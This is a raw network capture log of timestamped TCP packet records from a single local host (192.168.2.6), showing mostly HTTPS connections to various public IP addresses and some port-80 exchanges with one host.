Nov 23, 2024 05:02:57.051774979 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.051853895 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.052001953 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.052021980 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.054558992 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.054771900 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.054788113 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.056231022 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.056550980 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.056644917 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.056705952 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.088701010 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.088716030 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.088745117 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.099339962 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.104336023 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.104345083 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.104393005 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.117830992 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.118120909 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:57.118129969 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.119440079 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.119787931 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:57.119949102 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.120202065 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:57.163336039 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.186412096 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.186688900 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.186703920 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.187756062 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.187815905 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.189029932 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.189095974 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.189323902 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.189332008 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.229325056 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.243609905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:57.243609905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:57.337991953 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.338037014 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:57.338109016 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.338540077 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.338560104 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:57.339518070 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.339565992 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:57.339629889 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.339785099 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:57.339816093 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:57.347594976 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.347615957 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:57.347716093 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.347884893 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.347927094 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:57.347970963 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.348112106 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.348125935 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:57.348229885 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:57.348246098 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:57.363941908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:57.363991022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:57.366468906 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.366828918 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.366841078 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.367705107 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.367768049 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.369100094 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.369153976 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.369427919 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.369436026 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.369550943 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.369576931 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.436475992 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.436531067 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.436589956 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.436621904 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.436681032 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.436809063 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.437690973 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.437712908 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.489036083 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.489124060 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.489296913 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.490998030 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.491035938 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.492810011 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.492830992 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.492872000 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.492901087 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.492925882 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.492954016 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.496442080 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.496496916 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.496566057 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.498353958 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.498405933 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.498469114 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.498490095 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.498543978 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.498567104 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.498780966 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.506882906 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.506966114 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.506973982 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.507035017 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.507061958 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.507117033 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.507118940 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.507177114 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.507529020 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.507546902 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.512156963 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.512180090 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.580013037 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.580174923 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.580257893 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:57.583281040 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:57.583301067 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:57.653608084 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.653814077 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.653863907 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.654262066 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.654272079 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.660368919 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.660398006 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.660542011 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.660722017 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:57.660734892 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:57.944320917 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:57.945070982 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:57.945100069 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:57.945628881 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:57.946173906 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:57.946273088 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:57.946726084 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:57.959228039 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.959281921 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.959429979 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.960233927 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:57.960246086 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:57.987333059 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:58.299786091 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.300231934 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.300251007 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.300700903 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.300705910 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.362624884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:58.363822937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:58.407789946 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:58.408257008 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:58.408329010 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:58.409565926 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:58.409610033 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:58.428129911 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.428705931 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.428724051 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.429182053 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.429187059 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.433784008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:58.437100887 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.437436104 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.437474966 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.437829018 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.437856913 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.438090086 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.438369989 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.438420057 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.438860893 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.438879967 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.503928900 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.504353046 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.504396915 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.504827023 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.504841089 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.552546024 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.552886009 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.552922964 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.553957939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:58.555947065 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.556009054 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.557106018 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.557173014 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.615576029 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.615602970 CET	443	49923	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.646214008 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.646699905 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.646759033 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.650521994 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.650613070 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.651196957 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.651413918 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.657921076 CET	49923	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.699852943 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.699879885 CET	443	49924	23.57.90.136	192.168.2.6
Nov 23, 2024 05:02:58.742904902 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.748377085 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.748430014 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.748503923 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.748526096 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.748537064 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.748543024 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.751086950 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.751127005 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.751220942 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.751353979 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.751367092 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.760224104 CET	49924	443	192.168.2.6	23.57.90.136
Nov 23, 2024 05:02:58.873567104 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.875682116 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.875737906 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.875780106 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.875787020 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.875818014 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.875823021 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.878587008 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.878613949 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.878808975 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.878956079 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.878979921 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.879842997 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.880033016 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.882410049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:58.882471085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:58.882926941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:58.882982969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:58.882992029 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.883063078 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883121967 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.883130074 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883130074 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883167028 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.883194923 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.883194923 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883255005 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883255005 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.883292913 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.883336067 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.885557890 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885587931 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.885664940 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885675907 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.885754108 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885756016 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885885954 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885899067 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.885900974 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.885906935 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.944423914 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.944653988 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.944664001 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.945527077 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.945580959 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.946481943 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.946537971 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.956537962 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.959157944 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.959239006 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.959311008 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.959311008 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.959352970 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.959372997 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.962286949 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.962311983 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.962378979 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.962537050 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:58.962548971 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:58.994374037 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.994584084 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.994590044 CET	443	49926	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.994748116 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.994755030 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.996201038 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:58.996265888 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.996551991 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:58.996633053 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:59.041482925 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:59.041511059 CET	443	49925	204.79.197.219	192.168.2.6
Nov 23, 2024 05:02:59.041522026 CET	49926	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:59.083523035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:59.083610058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:59.084414959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:59.084486961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:59.088336945 CET	49925	443	192.168.2.6	204.79.197.219
Nov 23, 2024 05:02:59.096714973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:59.115426064 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.115456104 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.115516901 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.116806030 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.116822004 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.146192074 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.146289110 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.146363974 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.146730900 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.146758080 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.168879032 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.168896914 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.169141054 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.169327021 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:59.169338942 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:59.216185093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:59.218241930 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.218472958 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.218496084 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.219012022 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.219804049 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.219906092 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.220366001 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.263344049 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.544435978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:59.544500113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:59.557389021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:59.676915884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:59.681626081 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.681654930 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.681701899 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.681724072 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.681808949 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:59.681921005 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.683406115 CET	49927	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:59.683418036 CET	443	49927	20.96.153.111	192.168.2.6
Nov 23, 2024 05:03:00.376535892 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.377065897 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.377149105 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.377485037 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.380963087 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.381036997 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.381064892 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.386966944 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.388305902 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.388305902 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.388324022 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.388339996 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.423330069 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.429683924 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.429984093 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.430026054 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.431833982 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.432009935 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.432009935 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.432661057 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.432749987 CET	443	49935	104.117.182.59	192.168.2.6
